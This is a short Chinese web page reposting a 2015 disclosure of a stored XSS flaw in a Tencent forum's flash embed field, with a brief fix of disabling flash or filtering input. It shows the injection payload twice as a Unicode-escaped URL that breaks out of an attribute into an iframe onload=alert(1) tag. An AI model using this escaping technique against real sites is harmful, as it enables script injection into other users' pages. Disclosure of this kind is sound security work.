鸿 网 互 联 www.68idc.cn

当前位置 : 服务器租用 > 网站安全 > 安全设置 > >

腾讯某站储存型xss及修复

来源:互联网 作者:佚名 时间:2015-08-30 06:40
出现问题的站点 http://bbs.qrobot.qq.com 在发帖处的flash 里插入构造好的xss代码 http://1.com\u0022\u003e\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u002f\u006f\u006e\u006c\u006f\u0061\u0064\u003d\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029
出现问题的站点
 
http://bbs.qrobot.qq.com
 
 
 
在发帖处的flash 里插入构造好的xss代码
 
http://1.com\u0022\u003e\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u002f\u006f\u006e\u006c\u006f\u0061\u0064\u003d\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029\u003e/1.swf
 
 

 
 
修复方案:

关闭 flash 或者 过滤 
 
网友评论
<